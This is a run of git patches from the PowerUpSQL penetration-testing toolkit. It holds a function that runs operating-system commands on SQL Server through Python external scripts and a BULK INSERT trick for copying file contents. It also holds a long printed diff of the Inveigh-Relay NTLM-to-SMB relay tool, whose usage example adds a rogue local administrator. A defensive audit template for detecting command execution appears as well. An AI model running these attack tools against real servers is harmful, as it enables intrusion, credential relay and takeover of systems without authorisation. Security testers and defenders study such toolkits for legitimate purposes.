runtime.'" + } + + # Setup query to run command + write-verbose "$instance : Executing command: $Command" + $QueryCmdExecute = +@" +EXEC sp_execute_external_script + @language =N'Python', + @script=N' +import subprocess +p = subprocess.Popen(`"cmd.exe /c $Command`", stdout=subprocess.PIPE) +OutputDataSet = pandas.DataFrame([str(p.stdout.read(), `"utf-8`")])' +WITH RESULT SETS (([Output] nvarchar(max))) +"@ + + # Execute query + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCmdExecute -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | select Output -ExpandProperty Output + + # Display results or add to final results table + if($RawResults) + { + $CmdResults + } + else + { + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.trim()) + } + + # Restore external scripts state if needed + if($DisableExternalScripts -eq 1) + { + Write-Verbose -Message "$Instance : Disabling external scripts" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',0;RECONFIGURE WITH OVERRIDE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore Show Advanced Options state if needed + if($DisableShowAdvancedOptions -eq 1) + { + Write-Verbose -Message "$Instance : Disabling Show Advanced Options" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible or Command Failed') + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults + } +} + # ---------------------------------- # Invoke-SQLOSCmdOle # ---------------------------------- From e00edb6025fd98b96e912243041beb270299f368 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 7 Sep 2017 21:42:05 -0500 Subject: [PATCH 088/145] Update Version Update Version Add Invoke-SQLOSCmdPython --- PowerUpSQL.psd1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 3a81c17..26e7da5 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.83.98' + ModuleVersion = '1.84.100' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -87,7 +87,8 @@ 'Invoke-SQLImpersonateServiceCmd', 'Invoke-SQLOSCmd', 'Invoke-SQLOSCmdCLR', - 'Invoke-SQLOSCmdCOle', + 'Invoke-SQLOSCmdCOle', + 'Invoke-SQLOSCmdPython', 'Invoke-SQLOSCmdR', 'Invoke-SQLOSCmdAgentJob', 'Invoke-TokenManipulation' From 7a88637f68bc38ee5b3c87efaea12e9d86c849ab Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 8 Sep 2017 09:07:38 -0500 Subject: [PATCH 089/145] Create Audit Command Execution Template.sql --- .../tsql/Audit Command Execution Template.sql | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 templates/tsql/Audit Command Execution Template.sql diff --git a/templates/tsql/Audit Command Execution Template.sql b/templates/tsql/Audit Command Execution Template.sql new file mode 100644 index 0000000..3d9c12f --- /dev/null +++ b/templates/tsql/Audit Command Execution Template.sql @@ -0,0 +1,104 @@ +/* + Build Audit Policies to identify potential command execution +*/ + +-- Create and enable an audit +USE master +CREATE SERVER AUDIT DerbyconAudit +TO APPLICATION_LOG +WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE) +ALTER SERVER AUDIT DerbyconAudit +WITH (STATE = ON) + +-- Server: Audit server configuration changes +CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes] +FOR SERVER AUDIT DerbyconAudit +ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes +ADD (SERVER_OPERATION_GROUP) -- Audit server changes +WITH (STATE = ON) + +-- DATABASE: Audit common agent job activity +Use msdb +CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs] +FOR SERVER AUDIT [DerbyconAudit] +ADD (EXECUTE ON OBJECT::[dbo].[sp_delete_job] BY [dbo]), +ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo]), +ADD (EXECUTE ON OBJECT::[dbo].[sp_start_job] BY [dbo]) +WITH (STATE = ON) + +-- DATABASE: Audit potentially dangerous procedures +use master +CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC] +FOR SERVER AUDIT [DerbyconAudit] +ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]), -- Audit xp_cmdshell execution +ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]), -- Audit additional of custom extended stored procedures +ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- Audit execution of external scripts such as R and Python +ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]) -- Audit OLE Automation Procedure execution +WITH (STATE = ON) + + +/* + View Audit Policies +*/ + +-- View audits +SELECT * FROM sys.dm_server_audit_status + +-- View server specifications +SELECT audit_id, +a.name as audit_name, +s.name as server_specification_name, +d.audit_action_name, +s.is_state_enabled, +d.is_group, +d.audit_action_id, +s.create_date, +s.modify_date +FROM sys.server_audits AS a +JOIN sys.server_audit_specifications AS s +ON a.audit_guid = s.audit_guid +JOIN sys.server_audit_specification_details AS d +ON s.server_specification_id = d.server_specification_id + +-- View database specifications +SELECT a.audit_id, +a.name as audit_name, +s.name as database_specification_name, +d.audit_action_name, +s.is_state_enabled, +d.is_group, s.create_date, +s.modify_date, +d.audited_result +FROM sys.server_audits AS a +JOIN sys.database_audit_specifications AS s +ON a.audit_guid = s.audit_guid +JOIN sys.database_audit_specification_details AS d +ON s.database_specification_id = d.database_specification_id + + +/* + Remove Audit Policies +*/ + +-- Remove Audit_Server_Configuration_Changes +use master +ALTER SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes] +WITH (STATE = OFF) +DROP SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes] + +-- Remove Audit_OSCMDEXEC +USE master +ALTER DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC] +WITH (STATE = OFF) +DROP DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC] + +-- Remove Audit_Agent_Jobs +USE msdb +ALTER DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs] +WITH (STATE = OFF) +DROP DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs] + +-- Remove DerbyconAudit audit +ALTER SERVER AUDIT DerbyconAudit +WITH (STATE = OFF) +DROP SERVER AUDIT DerbyconAudit From 132a65b5d8ee7af324ef8c9c5c595c0fa1d25ebb Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 8 Sep 2017 09:18:19 -0500 Subject: [PATCH 090/145] Update Audit Command Execution Template.sql --- .../tsql/Audit Command Execution Template.sql | 27 +++++++++++++------ 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/templates/tsql/Audit Command Execution Template.sql b/templates/tsql/Audit Command Execution Template.sql index 3d9c12f..0620922 100644 --- a/templates/tsql/Audit Command Execution Template.sql +++ b/templates/tsql/Audit Command Execution Template.sql @@ -1,8 +1,13 @@ /* - Build Audit Policies to identify potential command execution + Script Name: Audit Command Execution Template.sql + Description: This TSQL script can be used to configure SQL Server to log events commonly associated with operating system command execution to the Windows Application log. + Author: Scott Sutherland (@_nullbind), 2017 NetSPI */ --- Create and enable an audit + +/* + Create and Enable Audit Policies +*/ USE master CREATE SERVER AUDIT DerbyconAudit TO APPLICATION_LOG @@ -11,13 +16,17 @@ ALTER SERVER AUDIT DerbyconAudit WITH (STATE = ON) -- Server: Audit server configuration changes +-- Windows Log: Application +-- Events: 15457 CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes] FOR SERVER AUDIT DerbyconAudit -ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes -ADD (SERVER_OPERATION_GROUP) -- Audit server changes +ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes +ADD (SERVER_OPERATION_GROUP) -- Audit server changes WITH (STATE = ON) --- DATABASE: Audit common agent job activity +-- DATABASE: Audit common agent job activity +-- Windows Log: Application +-- Events: 33205 Use msdb CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs] FOR SERVER AUDIT [DerbyconAudit] @@ -26,13 +35,15 @@ ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo]), ADD (EXECUTE ON OBJECT::[dbo].[sp_start_job] BY [dbo]) WITH (STATE = ON) --- DATABASE: Audit potentially dangerous procedures +-- DATABASE: Audit potentially dangerous procedures +-- Windows Log: Application +-- Events: 33205 use master CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC] FOR SERVER AUDIT [DerbyconAudit] ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]), -- Audit xp_cmdshell execution -ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]), -- Audit additional of custom extended stored procedures -ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- Audit execution of external scripts such as R and Python +ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]), -- Audit additional of custom extended stored procedures +ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- Audit execution of external scripts such as R and Python ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]) -- Audit OLE Automation Procedure execution WITH (STATE = ON) From 08d96183bbbd3b80128698659a6720bab9306d1c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 8 Sep 2017 09:27:41 -0500 Subject: [PATCH 091/145] Update Audit Command Execution Template.sql --- templates/tsql/Audit Command Execution Template.sql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/templates/tsql/Audit Command Execution Template.sql b/templates/tsql/Audit Command Execution Template.sql index 0620922..32d3582 100644 --- a/templates/tsql/Audit Command Execution Template.sql +++ b/templates/tsql/Audit Command Execution Template.sql @@ -76,6 +76,8 @@ SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, +d.major_id, +OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, From d7dd9f5f88db991ab8ab31a91e0092bce86f7d67 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 8 Sep 2017 09:28:02 -0500 Subject: [PATCH 092/145] Update Get-AuditDatabase.sql --- templates/tsql/Get-AuditDatabase.sql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/templates/tsql/Get-AuditDatabase.sql b/templates/tsql/Get-AuditDatabase.sql index 775a7d0..0c8b684 100644 --- a/templates/tsql/Get-AuditDatabase.sql +++ b/templates/tsql/Get-AuditDatabase.sql @@ -6,6 +6,8 @@ SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, + d.major_id, + OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, From abd029c304d94f062b17e8528f24156764b02e42 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 8 Sep 2017 21:42:14 -0500 Subject: [PATCH 093/145] Create writefile_bulkinsert.sql --- templates/tsql/writefile_bulkinsert.sql | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 templates/tsql/writefile_bulkinsert.sql diff --git a/templates/tsql/writefile_bulkinsert.sql b/templates/tsql/writefile_bulkinsert.sql new file mode 100644 index 0000000..2091820 --- /dev/null +++ b/templates/tsql/writefile_bulkinsert.sql @@ -0,0 +1,17 @@ +-- author: antti rantassari, 2017 +-- Description: Copy file contents to another file via local, unc, or webdav path +-- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada! +-- requires sysadmin or bulk insert privs + +create table #errortable (ignore int) + +bulk insert #errortable +from '\\localhost\c$\windows\win.ini' -- or 'c:\windows\system32\win.ni' -- or \\hostanme@SSL\folder\file.ini' +with +( +fieldterminator=',', +rowterminator='\n', +errorfile='c:\windows\temp\thatjusthappend.txt' +) + +drop table #errortable From 261992f269242dff0924fa8e323dccb3dd6c7c37 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 8 Sep 2017 21:42:36 -0500 Subject: [PATCH 094/145] Rename write_file_OpenRowSetTxt.sql to writefile_OpenRowSetTxt.sql --- .../{write_file_OpenRowSetTxt.sql => writefile_OpenRowSetTxt.sql} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename templates/tsql/{write_file_OpenRowSetTxt.sql => writefile_OpenRowSetTxt.sql} (100%) diff --git a/templates/tsql/write_file_OpenRowSetTxt.sql b/templates/tsql/writefile_OpenRowSetTxt.sql similarity index 100% rename from templates/tsql/write_file_OpenRowSetTxt.sql rename to templates/tsql/writefile_OpenRowSetTxt.sql From 33bff2bd01d5c7aceb57a794c6dda659acd54352 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 9 Sep 2017 08:47:03 -0500 Subject: [PATCH 095/145] Clear up --- README.md | 2 +- scripts/3rdparty/Inveigh-Relay.ps1 | 2084 -------------- scripts/3rdparty/Inveigh.ps1 | 2451 ----------------- scripts/3rdparty/Invoke-InveighBruteForce.ps1 | 1736 ------------ scripts/3rdparty/Invoke-Parallel.ps1 | 610 ---- scripts/3rdparty/Invoke-TokenManipulation.ps1 | 1917 ------------- scripts/3rdparty/README.md | 22 - scripts/README.md | 24 +- 8 files changed, 21 insertions(+), 8825 deletions(-) delete mode 100644 scripts/3rdparty/Inveigh-Relay.ps1 delete mode 100644 scripts/3rdparty/Inveigh.ps1 delete mode 100644 scripts/3rdparty/Invoke-InveighBruteForce.ps1 delete mode 100644 scripts/3rdparty/Invoke-Parallel.ps1 delete mode 100644 scripts/3rdparty/Invoke-TokenManipulation.ps1 delete mode 100644 scripts/3rdparty/README.md diff --git a/README.md b/README.md index aef96f7..f7ad0b4 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@ For setup instructions, cheat sheets, blogs, function overviews, and usage infor ### Author, Contributors, and License * Author: Scott Sutherland (@_nullbind), NetSPI - 2017 * Major Contributors: Antti Rantasaari and Eric Gruber (@egru) -* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Mike Manzotti (@mmanzo_), and @ktaranov +* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Andrew Luke(@Sw4mpf0x), Mike Manzotti (@mmanzo_), and @ktaranov * License: BSD 3-Clause * Required Dependencies: None diff --git a/scripts/3rdparty/Inveigh-Relay.ps1 b/scripts/3rdparty/Inveigh-Relay.ps1 deleted file mode 100644 index d3eb5b5..0000000 --- a/scripts/3rdparty/Inveigh-Relay.ps1 +++ /dev/null @@ -1,2084 +0,0 @@ -function Invoke-InveighRelay -{ -<# -.SYNOPSIS -Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. - -.DESCRIPTION -Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. - - HTTP/HTTPS to SMB NTLMv2 relay with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS - Granular control of console and file output - Can be executed as either a standalone function or through Invoke-Inveigh - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store and attached to port 443. If the script does not exit gracefully, execute -"netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" -in the cert store. - -.PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. - -.PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be -pulled from the SMB relay target. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting -to Anonymous can prevent browser login prompts. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand -Command to execute on SMB relay target. Use PowerShell character escapes where necessary. - -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay -target after each packet is sent. - -.PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the -various yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. - -.PARAMETER RunTime -(Integer) Set the run time duration in minutes. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -.EXAMPLE -Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$true)][String]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(!$SMBRelayTarget) -{ - throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" -} - -if(!$SMBRelayCommand) -{ - throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" -} - -if(!$OutputDir) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList -} - -if($inveigh.HTTP_listener.IsListening) -{ - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} - -if(!$inveigh.running) -{ - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_application_ID = $HTTPSCertAppID - $inveigh.certificate_thumbprint = $HTTPSCertThumbprint - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.console_output = $false - $inveigh.console_input = $true - $inveigh.file_output = $false - $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" - $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" - $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $Inveigh.challenge = $Challenge -} - -$inveigh.relay_running = $true -$inveigh.SMB_relay_active_step = 0 -$inveigh.SMB_relay = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive Powershell -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -if(!$inveigh.running) -{ - $inveigh.status_queue.Add("Inveigh Relay started at $(Get-Date -format 's')") > $null - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay started")]) > $null - - if($HTTP -eq 'Y') - { - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null - } - else - { - $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null - } - - if($HTTPS -eq 'Y') - { - - try - { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null - } - catch - { - $certificate_store.Close() - $HTTPS="N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null - } - - } - else - { - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null - } - - if($Challenge) - { - $Inveigh.challenge = $challenge - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'N') - { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null - $inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - - $inveigh.status_queue.Add("Force WPAD Authentication = $WPADAuth") > $null - - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true - } - else - { - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null - } - - } - - if($FileOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true - } - else - { - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null - } - - if($RunTime -eq 1) - { - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null - } - elseif($RunTime -gt 1) - { - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null - } - -} - -$inveigh.status_queue.Add("SMB Relay Enabled") > $null -$inveigh.status_queue.Add("SMB Relay Target = $SMBRelayTarget") > $null - -if($SMBRelayUsernames) -{ - - if($SMBRelayUsernames.Count -eq 1) - { - $inveigh.status_queue.Add("SMB Relay Username = " + $SMBRelayUsernames -join ",") > $null - } - else - { - $inveigh.status_queue.Add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",") > $null - } - -} - -if($SMBRelayAutoDisable -eq 'Y') -{ - $inveigh.status_queue.Add("SMB Relay Auto Disable Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("SMB Relay Auto Disable Disabled") > $null -} - -if($SMBRelayNetworkTimeout) -{ - $inveigh.status_queue.Add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - - switch ($inveigh.status_queue[0]) - { - - "Run Stop-Inveigh to stop Inveigh" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id -$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -$process_ID = $process_ID -replace "-00-00","" -[Byte[]] $inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -# Begin ScriptBlocks - -# Shared Basic functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - function DataToUInt16($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt16($field,0) - } - - function DataToUInt32($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt32($field,0) - } - - function DataLength - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - - return $string_extract - } -} - -# SMB NTLM functions ScriptBlock - function for parsing NTLM challenge/response -$SMB_NTLM_functions_scriptblock = -{ - function SMBNTLMChallenge - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge - } - -} - -# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target -$SMB_relay_challenge_scriptblock = -{ - function SMBRelayChallenge - { - param ($SMB_relay_socket,$HTTP_request_bytes) - - if ($SMB_relay_socket) - { - $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 - $i = 0 - - :SMB_relay_challenge_loop while ($i -lt 2) - { - - switch ($i) - { - - 0 - { - $SMB_relay_challenge_send = 